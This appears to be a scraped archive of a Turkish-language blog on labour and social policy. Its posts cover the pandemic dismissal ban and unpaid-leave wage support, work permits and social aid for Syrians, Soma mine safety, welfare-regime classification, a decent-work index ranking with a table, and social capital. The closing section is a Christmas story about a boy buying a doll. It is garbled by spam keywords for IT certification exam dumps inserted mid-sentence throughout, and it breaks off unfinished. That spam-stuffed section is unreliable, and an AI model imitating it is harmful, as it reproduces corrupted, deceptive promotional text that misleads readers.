11 Mart itibarıyla DSÖ tarafından pandemi olarak ilan edilen koronavirüs salgını bütün dünyada etkisini hissettirmeyi sürdürüyor. Pandemi sürecinde virüsün yayılımının engellenmesi amacıyla uygulanan karantina ve sokağa çıkma yasakları gibi tedbirler nedeniyle Mart ayı itibarıyla çalışma hayatı ve çalışanlara yönelik önlemler alınması gerekliliği doğmuştu. Bu çerçevede pek çok ülkede fesih yasağı, çalışma sürelerinin azaltılması, işçilerin ücretlerine yönelik devlet desteği sağlanması, çocuk bakımı gibi hizmetlerin desteklenmesi gibi önlemler alınmıştı. Ülkemizde de kısa çalışmanın merkezde olduğu bir politika bütünü hayata geçirilmişti. Fesih yasağı ve nakdi ücret desteği de bu kapsamda 17 Nisan tarihinden itibaren uygulanıyor.

Fesih Yasağı Ne Demek?

17 Nisan tarihinden itibaren uygulanmakta olan fesih yasağı hangi kanuna tabi olduğuna bakılmaksızın bütün işçilerin işten çıkartılmasını yasaklıyor. Yasağın tek istisnası, işçinin ahlak ve iyi niyet kurallarına aykırı davranışı. Dolayısıyla işverenler “ahlak ve iyi niyet kurallarına aykırı davranış” dışında hiçbir gerekçe ile işçi çıkartamıyor.

Fesih Yasağına Uymamanın Yaptırımı Ne?

Fesih yasağı kapsamındaki işçilerin işten çıkartılması halinde işverene iki yaptırım uygulanıyor. İlk yaptırım bu kapsamda işten çıkartılan her bir işçi için brüt asgari ücret tutarında idari para cezası. Yani işverenin yasak kapsamındaki işçiyi işten çıkarttığı tespit edildiğinde 2020 yılı için 2.943 TL idari para cezası ile cezalandırılıyor. Bundan daha ağır olan yaptırım ise feshin geçersiz sayılması. Örneğin 1 Mayıs’ta ahlak ve iyi niyet kurallarına aykırı davranışı nedeniyle işten çıkartılan bir işçi, başvuracağı yargı süreci sonunda feshe gerekçe gösterilen sebebin, hukuken “ahlak ve iyi niyet kurallarına aykırı davranış” olmadığı iddiasını ispatlarsa iş sözleşmesi fesih yasağına aykırı şekilde sonlandırılmış olacağı için yargı süreci boyunca çalışmadığı sürelere ilişkin ücret ve diğer haklarını işverenden alabileceği gibi işine geri dönme hakkına da sahip olacaktır.

Fesih Yasağının Amacı Ne?

Fesih yasağının amacı, çalışanların pandemi sürecinde işlerini kaybetmemesi. İş ilişkisinin sürdürülmesinin sağlanması ve bu sayede kişilerin işsiz kalmasının engellenmesi en önemli amaç. Mart ayıyla başlayan bu süreçte fesih yasağının bu anlamda çok önemli bir görev üstlendiğini ve yerinde olduğunu söylemek mümkün. Ancak fesih yasağının süresi uzadıkça amacından uzaklaşmaya, işçileri baskı altına alan bir araç, yargı yükü oluşturacak bir unsur haline dönüşmeye başladığı görülüyor.

Fesih Yasağı – Ücretsiz İzin – Nakdi Ücret Desteği Birlikte Uygulanıyor

Fesih yasağı pandemi sürecinde kitlesel işsizliğin engellenmesi adına hayata geçirilmiş bir uygulama. İşsizliğin engellenmesi amacının yanında çalışanların gelirlerinin de korunması amacıyla fesih yasağı, ücretsiz izin ve nakdi ücret desteği ile birlikte uygulanıyor. Koronavirüs salgınının yayılımının engellenmesine yönelik tedbirler kapsamında işyerlerinin kapatılması, sokağa çıkma yasakları ve karantina uygulamaları nedeniyle azalan mal ve hizmet talebi sonucu işyerlerinde hizmetine ihtiyaç duyulmamaya başlanan ancak fesih yasağı nedeniyle işten çıkartılamayan işçilerin ücretsiz izne çıkartılması ve bu süre için nakdi ücret desteğinden faydalanmaları sağlanıyor. Hangi işçinin ücretsiz izne gönderileceği kararı ise tamamen işverene ait. İşçinin “ücretsiz izne çıkmıyorum çalışmaya devam edeceğim” deme hakkı yok. Ücretsiz izne çıkartılan işçiye, ücretsiz izinde olduğu her gün için 39,24 TL nakdi ücret desteği ödeniyor. Bu sayede çalışmadığı günlerde gelir kaybının engellenmesi hedefleniyor.

Fesih yasağı hayata geçirildiğinde kitlesel işsizliği önlenmesi, pandemiye karşı alınacak katı tedbirler nedeniyle çalışanların psikolojik olarak yaşayabilecekleri olumsuzlukların engellenmesi adına yerinde bir uygulamaydı. Fesih yasağı bu kapsamda 3 aylık bir periyot için uygulanmak üzere hayata geçirilmişti. Ancak 17 Nisan – 17 Temmuz arasında uygulanan fesih yasağı Cumhurbaşkanı kararıyla 17 Eylül tarihine kadar uzatıldı. Ayrıca fesih yasağının süresinin 30 Haziran 2021 tarihine kadar uzatılması yetkisi de Cumhurbaşkanına verilmiş durumda. 17 Eylül yaklaşırken fesih yasağı ve paralelindeki ücretsiz izin ve nakdi ücret desteği uygulamasının süresinin uzatılması yönünde beklenti söz konusudur. Bu beklenti gerçekleşirse 3 ay daha fesih yasağının uzatılması söz konusu olacak.

Fesih Yasağının Doğurduğu Sorunlar

17 Nisan’dan beri uygulanmakta olan fesih yasağı – ücretsiz izin – nakdi ücret desteği ilk aşamada üstlendiği rolü başarıyla yerine getirdi. Ancak fesih yasağının süresinin uzaması işyerlerinde olumsuz durumların yaşanmasına neden olmaya başladı. Diğer yandan işçilerin fesih yasağı nedeniyle mağduriyetleri de oluşmaya başladı.

  1. Fesih yasağı işverenin baskı aracı haline gelmeye başladı,

Fesih yasağı kapsamında iş sözleşmelerinin işveren tarafından feshedilememesi ancak işçilerin ücretsiz izne gönderilemesi, işverenin elinde işçileri baskı altında tutmak için bir araç haline gelmeye başladı. İşverenin işyerinde koronavirüs yayılımının engellenmesine yönelik olarak gerekli tedbirleri almaması, işçileri fazla mesai yapmaya zorlaması, ücretleri eksik ya da geç ödemesi ve bu nedenle işçilerin işverene karşı seslerini yükseltmeleri halinde ücretsiz izne gönderilmekle tehdit edildiğine dair pek çok şikayet söz konusu. Fesih yasağı bu anlamda işverenlerin işçileri baskı altında tutma ve işyerinde çalışma disiplini sağlama aracı haline gelmiş durumda.

  • İşsizlik maaşı alma hakkı olan işçiler istifa etmek ve maaş hakkını kaybetmek durumunda kalıyor,

İşsizlik maaşı alabilmek için en önemli şart, kendi istek ve iradesi dışında işsiz kalmaktır. Dolayısıyla istifa eden çalışanlar işsizlik maaşı alamazlar. İşsizlik maaşı alabilmek için gerekli prim ödeme şartlarını tamamlamış bir işçi fesih yasağı süresince işveren tarafından işten çıkartılamadığı için hak etmiş olsa da işsizlik maaşı yerine nakdi ücret desteği almak durumunda kalıyor. Böyle olunca da asgari ücretten yüksek maaşı olan işçilerin gelir kaybı söz konusu oluyor.

  • Kıdem tazminatına erişim hakkı sınırlanıyor,

Fesih yasağı nedeniyle işten çıkartılamayan ve işyerinde en az 1 yıldır çalışmakta olan işçilerin kıdem tazminatına erişim hakkı fesih yasağı nedeniyle sınırlandırılmış oluyor. Kıdem tazminatı alabilmek için işten çıkış nedeni çok önemlidir. Bazı istisnalar dışında istifa eden çalışan kıdem tazminatı alamaz. Fesih yasağı süresince işveren tarafından işten çıkartılma da söz konusu olmadığı için işçilerin kıdem tazminatı haklarına erişimleri sınırlandırılmış durumda. Fesih yasağı söz konusu olmasaydı işyerlerinin ekonomik olarak zor durumda olmaları nedeniyle işten çıkartma nedeniyle kıdem tazminatlarını ödememeleri durumu yaşanabilecekti. Ancak şu an için fesih yasağı nedeniyle bu sorunun çözülmediği yalnızca ötelendiğini söylemek mümkün. Yasağın kalkması sonrası bu sorun tekrar gündeme gelecektir.

  • Fesih yasağı yargı yükünü artıracak,

Fesih yasağı süresince kimlerin hangi gerekçe ile ücretsiz izne gönderileceği tamamen işverenin insiyatifinde. Ancak hukuken bu seçimin objektif kriterlere dayanması gerekiyor. Örneğin muhasebe biriminde üç işçi çalışırken bu üç işçiden yalnızca bir tanesinin sürekli bir şekilde ücretsiz izne gönderilmesi diğer iki işçinin bu süreçte fazla mesai yaptırılarak çalıştırılması, işverenin bu hakkını hukuka uygun olarak kullanmadığı anlamına gelecektir. Bu gibi durumlarda işçi mahrum kaldığı ücret ve ücrete bağlı haklar için yargı yoluna başvuracaktır. Diğer yandan ücretsiz izinde geçirilen sürelerin kıdem ve ihbar tazminatı, yıllık izin hak edişi, iş güvencesi için gerekli altı aylık süre ve deneme süresi bakımından çalışılmış süreler olarak değerlendirilip değerlendirilmeyeceği konuları önümüzdeki dönemde mahkemelerin gündemini oluşturacaktır. Fesih yasağının süresinin uzaması ilerleyen dönemde bu konuda karşılaşılabilecek uyuşmazlıkların sayısını artıracaktır. 3 ila 6 ay arasındaki ücretsiz izin süreleri sorun oluşturmayabilir. Ancak sürenin 9 aya uzaması bu konudaki uyuşmazlık sayısını artıracaktır.

  • Değişen mal ve hizmet talepleri iş değişikliğini gerekli kılıyor,

Pandemi sürecinde bazı sektörlerde olan talep çok azaldı. Ayrıca tüketim alışkanlıkları ve biçimleri de değişti. Alışveriş merkezleri içerisindeki mağazalara olan talep azalırken, internet üzerinden gerçekleştirilen alışverişlerin miktarı çok arttı. Bu değişim bazı sektörlerdeki işgücü ihtiyacını da artırdı. Kargo, kurye, lojistik, çağrı merkezi gibi sektörlerde pandemi öncesinden daha fazla sayıda kişiye istihdam imkanı var. Ancak fesih yasağı nedeniyle işçiler mevcut işlerinden istifa edip farklı sektörde ihtiyaç olan işyerlerinde işe başlayamıyorlar. Bu durum da istenmeyen sonuçlara neden olabiliyor. Bazı işçiler nakdi ücret desteği geçinmeye yetmediği için bir yandan nakdi ücret desteği alıp diğer yandan kayıt dışı olarak başka bir işte çalışıyor, bazı işçiler ise kıdem tazminatından vazgeçerek istifa etmek zorunda kalıyor.

Bütün bu olumsuzluklar nedeniyle pandeminin ilk günlerinde belirlenen amacı yerine getiren ancak uygulanma süresi uzadıkça işçi aleyhine sonuçlar doğurmaya başlayan fesih yasağı – ücretsiz izni – nakdi ücret desteği politika bileşeninin revize edilmesi gerekiyor. Fesih yasağı kitlesel işsizliğin önüne geçilmesi anlamında olumlu sonuçlar doğurdu. Normalleşme sonrasında ise fesih yasağının uzatılması beklenene etkisi dışında olumsuz sonuçlar üretmeye başladı. Bu nedenle normalleşme teşviki ile birlikte işverenlerin fesih yasağı da kaldırılmalı ve bu süreçte işten çıkartılacaklara yönelik koruma tedbirleri hayata geçirilmeli. İşsizlik maaşı alma kriterlerinin fesih yasağının kalktığı tarihten sonra işten çıkartılanlar için esnetilmesi, bu kişilere yönelik sosyal yardım yapılması ve bu yardımın istihdamdan bağımsız şekilde gerçekleştirilmesi ile işsizlik engellenemese de işsiz kalan kişilerin refahı sağlanabilecektir. Diğer yandan fesih yasağının hali hazırda ortaya çıkmış ve ileride ortaya çıkabilecek olumsuz etkileri de önlenmiş olacaktır.

SURİYELİLERE ÇALIŞMA İZNİ VE SOSYAL YARDIM HAKKI KARGAŞAYA NEDEN OLUR MU?

Türkiye yaklaşık 4 yıldır kendi ülkelerindeki zulümden kaçan Suriyelilere ev sahipliği yapıyor. Başbakanlık Kamu Diplomasisi Koordinatörlüğü’nün verilerine göre Türkiye’nin çeşitli şehirlerinde 900 Bine yakın Suriyeli yaşıyor. 219 Bin civarında Suriyeli ise barınma merkezlerinde hayatlarını sürdürüyor. Toplamda 1 Milyondan fazla Suriyelinin ülkemizde bulunduğunu görüyoruz. Bu rakam her geçen gün artıyor.

Bu süreçte maalesef ortaya vicdanları yaralayan sahneler ortaya çıktığı gibi özellikle sınır illerinde Suriyelilere karşı tepkiler de yaşandı. Çünkü büyükşehirlerdeki Suriyeli profili ile sınır illerindeki profil biraz farklı. Şanlıurfa, Gaziantep, Osmaniye gibi illerde Suriyeliler bir şekilde dükkân açıp ticarete başladıkları gibi artık işgücü piyasası açısından da büyük bir kitle haline geldiler. Bunun yanında esnafın Suriyelilerle farklı bir ilişkisi olduğu gibi Suriyelilerin emlak piyasasını bile hareketlendirebilecek çapta etkilerin olması söz konusu. Büyükşehirlerde ise Suriyelilerin daha çok dilencilik ve kırmızı ışıklarda cam silmek gibi bazı işler yapabildiklerini görüyoruz.

Resmi Gazete’de yayımlanarak yürürlüğe giren Geçici Koruma Yönetmeliği ile bu statüdeki kişiler için çalışma izni ve sosyal yardım hakkı sağlanmasının önü açıldı. Bu sayede Çalışma ve Sosyal Güvenlik Bakanlığı ile Aile ve Sosyal Politikalar Bakanlığı geçici koruma kimlik kartı olan kişilere çalışma izni verebilecek ve sosyal yardım yapabilecek. Daha önce yasal statüdeki sorunlar nedeniyle çalışma izni verilmesi mümkün değildi. Diğer yandan Türk vatandaşı olmadıkları için de sosyal yardım yapılması söz konusu olmuyordu. Yönetmelik sonrasında Çalışma Bakanlığı bu durumdaki kişilere çalışma iznini verebileceği gibi Aile ve Sosyal Politikalar Bakanlığı da sosyal yardım yapabilecek.

Çalışma izni şu an itibarıyla bütün yabancılara belirli koşullar dahilinde veriliyor. Çalışma izni almak isteyen kişinin bazı koşullara sahip olması gerekiyor. Geçici koruma altındaki kişiler çalışma izni alabilmek için Bakanlar Kurulu’nun izin verdiği sektör, işkolu ve il veya ilçelerde başvuru yapabilecek. Bu kişiler ikamet iznine sahip olmadıkları için daha önce çalışma iznine başvuramıyorlardı. Şimdi bu yönetmelik ile sorun çözülmüş olduğu için artık çalışma izni başvurusunda bulunabilecekler. Fakat bu durumda da, yalnızca Bakanlar Kurulu’nun kararlaştırdığı sektör, işkolu ve il veya ilçeler için çalışma izni söz konusu olacak. Bütün sektörler, iller veya meslekler için geçerli bir çalışma izni olmayacak.

Diğer yandan Çalışma Bakanlığı çalışma izinleri ile ilgili yönetmelikteki hüküm uyarınca bu şekilde gelecek çalışma izni başvurularına Bakanın onayıyla topluca izin verebilir. Yani iş ile çalışma izni isteyen kişi arasındaki uyumu gözetmeksizin bu şekilde gelecek bütün talepleri olumlu olarak değerlendirebilir. Yönetmelik bu şekilde izinlerin onaylanmasına izin veriyor.
Suriyelilere yasal çalışma izni verilmesi bazı sorunlara yol açabilir. Fakat diğer yandan şu an itibarıyla Suriyelilerin önemli bir bölümü zaten kayıtdışı olarak çalışıyor. İşverenler ucuz işçi olarak gördükleri Suriyelileri karın tokluğuna ve sigortasız olarak zaten çalıştırıyorlar. Çalışma izni alınması bu anlamda zaten süregelen bir kayıtdışı istihdamı kayıt altına almayı sağlayabilir. Ayrıca Suriyelilerin çalıştırılması dolayısıyla prim toplanması ve Suriyelilerin de asgari çalışma şartlarına sahip olması sağlanacaktır.

Fakat konuyla ilgili bir risk, Suriyelilerin yasal olarak çalışmaya başlamasıyla iş imkanlarının azalmasıdır. İşte bu noktada illerin ve sektörlerin işgücü ihtiyacının doğru okunması ve çalışma izinlerinin bu yönde verilmesi çok önemli. Örneğin İŞKUR’un Şanlıurfa ilinde 2013 yılında yaptığı İşgücü Piyasası Analizi Raporu’na göre Şanlıurfa’da toplam 2 Bin 126 açık iş bulunmaktadır. Yani işverenler 2 Bin 126 iş için eleman bulamamaktadırlar. Açık işler içerisinde en fazla ihtiyacın olduğu meslek güvenlik görevlisi. Şanlıurfa’da 207 Güvenlik görevlisi ihtiyacı varken, 125 hemşireye, 23 tane beden işçisine ihtiyaç bulunmaktadır. Dolayısıyla Suriyelilerden hemşire olarak yararlanılamayacağına göre, beden işçisi açığının Şanlıurfa’da Suriyeliler tarafından karşılanmasında herhangi bir sorun yoktur. Zaten bu veriler 2013 yılının verileri olduğu için bu dönemde işverenlerin Şanlıurfa’da beden işçisi bulamadığı anlaşılmaktadır. Bu pozisyonların Suriyeliler tarafından doldurulmasında herhangi bir sakınca olmayacaktır. Eylül 2014 verilerine göre Şanlıurfa’daki açık iş sayısı 1.037’dir. Yani bu il için çalışma izni verilirken meslek sınırı çizilirse herhangi bir tepki doğmayacaktır.

Gaziantep için de benzer sonuçlar söz konusudur. 2013 Yılı verilerine göre Gaziantep’te 249 plastik mamulleri imalat işçisine, 247 imalat işçisine, 135 konfeksiyon işçisine ihtiyaç vardır. Bu mesleklere yönelik sağlanacak çalışma izinleri herhangi bir gerginlik yaratmadan bu sorunu da çözücü bir rol üstlenebilir. Diğer yandan bu illerde Suriyelilere istihdam imkanı sağlanması, büyükşehirlere yönelik olarak kontrolsüz şekilde gerçekleşen göçü de engelleyebilecektir.
Suriyelilere çalışma izni verilmesi belirli kısıtlamalarla tepki doğurmadan halledilebilecek bir konu. Fakat Suriyelilere Sosyal Yardımlaşma ve Dayanışmayı Teşvik Kanunu uyarınca sosyal yardım yapılması konusu büyük toplumsal tepkilere neden olabilecek niteliktedir. Sosyal yardımlarda ilk kriter o ülkenin vatandaşı olmaktır. Sosyal yardımlar o ülkede yaşayan kişilerin vergileri ile finanse edildiği için, o ülke vatandaşlarından alınan paralarla yine o ülke vatandaşlarından yoksulluk riski ile karşı karşıya kalanlara yardım yapılması prensibinde işlemektedir. Fakat toplanan vergilerle Suriyelilere sosyal yardım yapılması, Türk vatandaşlarından sosyal yardım alamayanların tepkisini çekeceği gibi, devletin sorumluluklarının da tartışılmasına neden olabilecektir.

Özellikle Suriyelilerin yoğun olarak bulunduğu illerde başka bazı sosyal travmaların da zaman içerisinde söz konusu olması halinde bu tip konular daha hassas hale gelecektir. Bu nedenle her iki konuda da çok kritik adımlar ve hassasiyetli yaklaşımların belirlenmesi gerekmektedir.

Soma’daki kaza sonrası iş sağlığı ve güvenliği alanındaki eksikler, madenlerdeki taşeron kullanımı, rödövans sistemi hakkında pek çok platformada bir şeyler söylemeye çalıştık. Fakat belki kargaşada çok da anlaşılır olmadı. Aradan vakit geçtikçe daha önce iş sağlığı ve güvenliği alanındaki eksikler olarak ifade ettiğimiz durumların ne yazık ki çok ciddi boyutta olduğu da görüldü. Soma konusunda bugüne kadar ifade etmeye çalıştıklarımı bir araya getirdim. Yeniden aynı hatalara düşmeyelim, daha fazla can gitmesin, bir yerden başlayıp sorunları çözebilmek adına bir adım atılabilsin diye kendi üzerimize düşen bir şey varsa yapabilmek için. Tekrar Soma’da hayatını kaybeden madencilerimize Allah’tan rahmet, geride kalanlara ise sabırlar diliyorum.

İŞ GÜVENLİĞİ BİLİNCİ ARTMADIKÇA SORUNU ÇÖZEMEYİZindir

BİR AVUÇ KÖMÜR İÇİN DAHA FAZLA ÖMÜR GİTMEDEN indir

“DEVLET HAKKI”‘NI İŞ SAĞLIĞI VE GÜVENLİĞİ ÖNLEMLERİNE HARCAMALARI VE İŞÇİLERE HELAL ETMELİ indir

“DAYIBAŞI”: ÖLÜMÜNE KÖMÜR ÇIKARTMAK indir

WHY DO WE TRY TO CLASSIFY THE COUNTRIES UP TO THEIR WELFARE AND WHY THIS IS THAT MUCH IMPORTANT?

Since Esping Andersen wrote his modern classic book “Three Worlds of Capitalism”, determining and classifying the countries welfare regime is probably the most committed academic action in the social policy area. Most of academicians try to enlarge Andersen’s classification and also find answers about the welfare regimes of the other countries which Andersen did not put a certain terrain in his classification. But the problem is Andersen’s classification is holistic. Which is tried to give answer about welfare regimes from the bird’s eye. But everyone try to find an answer about his or her country. No wonder in Turkiye, most of academicians in the social policy discipline spend his or her all academic life for giving the answer of this question in the changing concept. But why? Why the classification of societies is that much important?

Classifying the societies according to welfare is actually mean that how these societies organized their social relation up to the market. We can say that welfare classification also refer the marketization of the society. Because of that from the bird’s eye view, marketization of the attainment to welfare also mean that the embedding of social relations on to market. Embedding social relations on to the market is the most desired thing in capitalism. Also tension between the social and the economic stuff is probably the most dangerous thing for capitalism. Classification the societies according to their marketization level give the social policy new targets and also precaution if there is a problem about treatment in the market. That’s why classification is that much important.

Also welfare state level gives more information about democratic industrial capitalist society. What is state position, how the citizenship identified and which one is the principal part in providing the welfare market, civil society or family? These also refer how social policy acquires a shape in this country. Also the classical political views of classification welfare regimes turn into particular features of modern social policy. For example, before general health insurance become compulsory in Turkiye, anybody who finished his or her university life did not need to pay anything for getting in to the system. But after the system applied they have to if they do not have job. After that, getting job has meant more than just getting job; it also refers to getting health insurance right. Also social policy in Turkiye has a new dimension after this progress. What will be the next thing that commodificate and pass up the market side from social side is become the main problem of Turkiye’s social policy. Also when the universal health insurance rules lift up the payment for private hospital that they can receive from the insured, social policy become to argue is this really universal health insurance system or not and which situation is better for insured? Before or after the universal health insurance system.

ilohandcuffs2gr

What is Türkiye’s Position in Decent Work Index? Even Others Steady At 1995.

Decent work is a concept which excessively noticed by ILO since 1998. Employment became scarce meta during the nineties. During this period, informalization process forge ahead and getting job couldn’t be enough for life well. Also if you cannot get the decent work opportunities, this means that probably your possibility to get through the occupational accident is high, your dream for retirement is so dark and the most likely you are not sure that you are going to work for your employer tomorrow. Because of these developments, decent work concept come up to ILO’s agenda frequently and people began to think too much about decent work.

Decent work has some components and also indicators. According to these indicators, academicians started to prepare an index and compare the countries up to the decent works that they have. Comparing countries is probably the most liked thing in the academician’s world. Afoot index for comparing the OECD countries in decent work performance has basic methodology. This index prepared by Dharam GHAI in the article “Decent Work: Concept and Indicators” which published in International Labour Review Vol: 42, No: 2, 2003. In that index, for comparing countries at decent work performance, explaining the four components of decent work nine ratios pre owned. According to these ratios we can give countries score and then categorize them. At four components every country has a rating and then average of this four rating they have final score and ranking. First country in this index has too much job in decent work concept, the last one has least.

In that very simple index nine ratios were used. This can clarify the gender disparities, employment, social dialog and social protection. These ratios cannot explain every concept well but they can give idea. Of course it is open to use different weighs for different indicators and for different components of decent work. What we are going to do is put Türkiye somewhere in this index. There is a big problem about comparison, other countries statistics concerning 1995 but Türkiye’s statistics refer July 2013. This means Türkiye’s position for now can comparable for 22 OECD countries position at 1995.

For putting Türkiye somewhere in gender raking, female labor force participation rate, the ratio of female/male unemployment rate and female proportion of professional, technical and administrative work is needed. According to TUIK stats, female labor force participation rate in Türkiye is 31,6. This is the worst ratio in 22 OECD countries. Put the Türkiye at the end of list. Female administrative and managerial worker ratio is 15,3 and female professional and technical worker ratio is 36,1. Average of these two is 25,7 and this ratio perform Türkiye at 20th  position. Female unemployment rate / male unemployment rate ratio is 1,36 this perform Türkiye at 15th row. Overall ranking at gender for Türkiye is 21.

At employment component three indicators are used. Labor force participation rate, unemployment rate and Gini coefficient. In this component Türkiye’s overall ranking is 22. Labor force participation rate is very low in Türkiye, because of female labor force participation rate is too low. Also income distribution performance of Turkish economy is not good enough. Totally Türkiye’s ranking is the worst one after Ireland in this component.

Türkiye is the stingiest country in the 22 OECD countries about government expenditure at pensions and health according to 2009 statistics. Only 5,8 percentage of GDP spent for pensions, and 5,4 percentage for health. Total 11,2 of GDP spent for pensions and health. Finally union membership as proportion of employees rate for Türkiye is 8,8. Which is the lowest in 22 OECD countries. So Türkiye’s score in this component is the 23. Total score for Türkiye is 22,25 which perform Türkiye at the last row.

Table: 1 Country Performance At Decent Work Components And Total Score

Country

Gender Ranking

Employment

Ranking

Social Dialog

Ranking

Social Protection

Ranking

Overall

Ranking

Sweden

3

1

1

1

1

Denmark

10

2

2

2

2

Norway

1

3

6

4

3

Finland

2

10

3

3

4

Austria

12

5

9

9

5

Germany

11

9

5

13

6

Canada

6

8

19

10

7

Belgium

14

16

7

5

8

United Kingdom

5

15

13

12

9

Luxemburg

23

7

11

8

10

Switzerland

14

5

10

19

11

Netherlands

18

13

8

14

12

Portugal

9

12

17

14

13

Australia

8

14

21

11

14

Italy

20

18

12

7

15

Japan

14

3

22

18

15

New Zealand

7

17

16

16

15

United States

3

11

20

21

15

Ireland

13

23

18

6

19

France

18

19

4

22

20

Greece

22

20

14

16

21

Spain

17

21

15

20

22

Türkiye

21

22

23

23

23

Source: Türkiye’s Statistics Forum TUIK, www.tuik.gov.tr, Other Countries From The Article “Decent Work: Concept and Indicators”, International Labour Review Vol: 42, No: 2, 2003.

Sweden is the country which has the best performance about decent work. Also the other Nordic countries fallow Sweden. Scandinavian welfare regime has showed their characteristic properties. Which is not very surprised. Conservative welfare regime countries Austria, Germany has good performance about decent work. United States who has liberal welfare regime has still the de-regulated labor market and social protection and social dialog mechanism still cannot develop well. Greece, Spain and Türkiye which are sharing the last rows have big problem in their labor market. Probably Türkiye’s situation is better than these countries now. But this does not mean that we did everything about decent work concept and being on the top of Spain doesn’t mean a perfect position.

This comparison is not the whole picture about decent work. And also cannot give the same periods score for all countries. Since 1995 in the euro region most of the employment opportunities disappear and income distribution went bad. Even at the same period Türkiye did well specifically about the unregistered employment. But we can easily say that during this period Türkiye’s position at that index upraised only one or two row up. No more than this.

WHY WE NEED THE CONCEPT OF SOCIAL CAPITAL AND WHY NOW?

social capital

Social capital is a new concept but take firm steps forward to be a phenomenon. The question is why this concept come to light at this stage of capitalism and where we going to use it? Social scientists jump in with both feet the social capital, because social capital can be used for meeting all deficits between economy and social. And when the market fail and system have to continue, you can find the reasons why market failed not in the economic paradigm but in the social area. And then social capital is the best concept that explain market failures without investigate the market treatment.

This is why World Bank claims the social capital, as “the glue that holds society together”. Because individualism choke when market can not commit well. Then people think about for rolling up about handle headstalls the elements of the economic structure.

However concept has no certain description for all social sciences. Sociologists use social capital for interpret the relation between individuals and the group. And they try to understand what individuals can get from group as a capital enlargement. But there is a dilemma in this framework. Because Pierre Bourdie and Gary Becker can both use the social capital. One can be count as a socialist and the other one is the violent advocate of the market sovereignty.

Social capital and development concerned is very important also. Development does not only contain the economical issues. Social capital steps in exactly at this level. Because there are very big numbers of economies in the world that GDP is grower but at the same time you can gather 50 corpses every night from the dumping ground, like India. According to this framework social capital is the missing link between the social and the economy. And it helps integrate the economical and non – economical subject in the decomposition. So if you will come up the question like “Why India’s development process do not help the improvement of welfare” then you can easily speak about social capital. Then the economical issues and the non – economical subjects become analyze together. And this means the adoption of social things can affect the economical stuffs. This discussion is not new also. Polanyi was talking about embedding the social relations into the economic relations rather than reverse in the great transformation. So this can be interpreted this time when the neo – liberal paradigm has new crises and again they turn for the things that can commodificate. On the other hand it can be interpreted social capital is only academically satisfaction area and there is no response in the real life.

Otherwise social capital concept is also about the actors of social policy. During the two world war period in the world, state is the main actor of social policy. Even some of the identification of social policy begins with “the precautions that state take for increasing the welfare”. But after the Keynesian period, economic structure did not let the state for spend too much money for this kind of subject and also the biggest element of the economy. This affect the welfare state and now we were talking about transition process from welfare to workfare and in this time we are talking about the transition from workfare to without fare.

Social capital acts a part in the classification the countries welfare regime also. Social capital can help the explanation of “why some countries in the same welfare regime have different reaction about unemployment insurance and also why some countries have strict reaction to the women labor force participation. Two countries can have different social capital equipment while they are in the some welfare regime. And then we can talk about the relation between social capital – social policy and welfare regime.

For example there is unemployment insurance in Turkiye since 1999. But as before the strongest unemployment insurance is family in Turkiye. But this can be different in another country which can be analyzed in the same welfare regime with Turkiye. So social capital has very different functions for social policy and also for the other social sciences.

I hurried into the local department Testprepwell store to grab1 some last 98-364 practice exam minute Learnguidepdf Chirsmas Testprepwell gifts. I looked at 98-364 practice exam all the people and grumbled2 PMI-100 exam questions to 98-364 practice exam myself. I would be in here forever and I just had so much to PMI-100 exam questions do. Chirsmas was beginning to become 98-364 practice exam such a drag. I kinda wished CISSP Certification Training that I could just Learnguidepdf sleep through Chirsmas. But I hurried the best 98-364 practice exam I could through CSSBB practice exam all the people to the toy department. Once again I kind of mumbled3 CSSBB practice exam to myself at the prices of all these toys, and CSSBB practice exam 98-364 practice exam wondered if CISSP Certification Training the grandkids would 98-364 practice exam even play whit4 them. I found myself in the doll aisle5. CSSBB practice exam Out of the corner of my eye I saw a CISSP Certification Training little boy about Cisco 300-101 Exam 5 holding a lovely doll.He Cisco 300-101 Exam kept touching6 98-364 practice exam her hair and he held her so Testprepwell gently. I could not seem to help myself. I just kept loking over at Cisco 300-101 Exam the little boy and 98-364 practice exam wondered who Cisco 300-101 Exam the doll was for. I watched him turn to a woman and Testprepwell he called his aunt by name and said, PMI-100 exam questions “Are you sure I don’t have 98-364 practice exam enough money?” She replied a bit impatiently, “You know that CISSP Certification Training you don’t have CSSBB practice exam 98-364 practice exam enough money for it.” The aunt told the CISSP Certification Training little boy not to Cisco 300-101 Exam go anywhere that she had to go and Cisco 300-101 Exam get some CISSP Certification Training other things and would be back in a few minutes. And then she CSSBB practice exam left the PMI-100 exam questions aisle. CISSP Certification Training The boy continued to hold the doll. Learnguidepdf After a bit I asked the CSSBB practice exam boy who the doll was for. He said, “It is the doll my sister wanted so badly for Chirsmas. She just knew that Santa would bring it. Cisco 300-101 Exam “I told him that maybe Santa was going to bring it . CSSBB practice exam He said, “No, Santa can’t go where my sister is…. I have Learnguidepdf to give the doll to my Mama PMI-100 exam questions to take to her. “I Testprepwell asked him Testprepwell where his siter was. CSSBB practice exam Learnguidepdf He looked at CISSP Certification Training me with the saddest eyes and said, “She was gone to be with Jesus.

My Daddy says that Mamma is going to have to go be with her.” My heart nearly stopped beating. Learnguidepdf Then the boy looked Testprepwell PMI-100 exam questions at me again and said, “I Testprepwell PMI-100 exam questions told my Daddy to tell my Mama not to go yet. I told him to tell her PMI-100 exam questions to wait till I got back Learnguidepdf from the store.” Then he asked CISSP Certification Training me if i wanted to Testprepwell see his picture. I told him I’d love to. He pulled out some picture he’d had taken at the front of 98-364 practice exam the CSSBB practice exam store. He said, CISSP Certification Training Testprepwell “I want my Mama to take this with her so the dosen’t ever forget me. I love my Mama so very much and Testprepwell I wish she dind not have to leave me.But Daddy says she will need to be with my sister.” I saw that the little boy had lowered his head and had grown so qiuet. While he was not looking I Cisco 300-101 Exam reached into my PMI-100 exam questions purse and pilled out a handful of bills. I asked the little boy, “Shall we count that miney one more time?” He grew excited and said, “Yes,I just know it Cisco 300-101 Exam has 98-364 practice exam to be enough.” So I slipped my money in with his and we began to count it . Of course it was plenty for the doll. Testprepwell Cisco 300-101 Exam He softly said, “Thank you Jesus for giving me enough money.” Then the boy said, “I just asked Jesus to give me enough money to CISSP Certification Training buy CISSP Certification Training this doll so Mama 98-364 practice exam can take it with Testprepwell her Learnguidepdf to give my sister. And he heard my prayer. I wanted to ask him give for enough to buy my Mama a white PMI-100 exam questions rose, but I didn’t ask him, 98-364 practice exam but he gave me enough CISSP Certification Training to buy CSSBB practice exam the doll and a rose for my Mama. She Cisco 300-101 Exam loves 98-364 practice exam white rose so much. “In a few minutes the aunt PMI-100 exam questions came 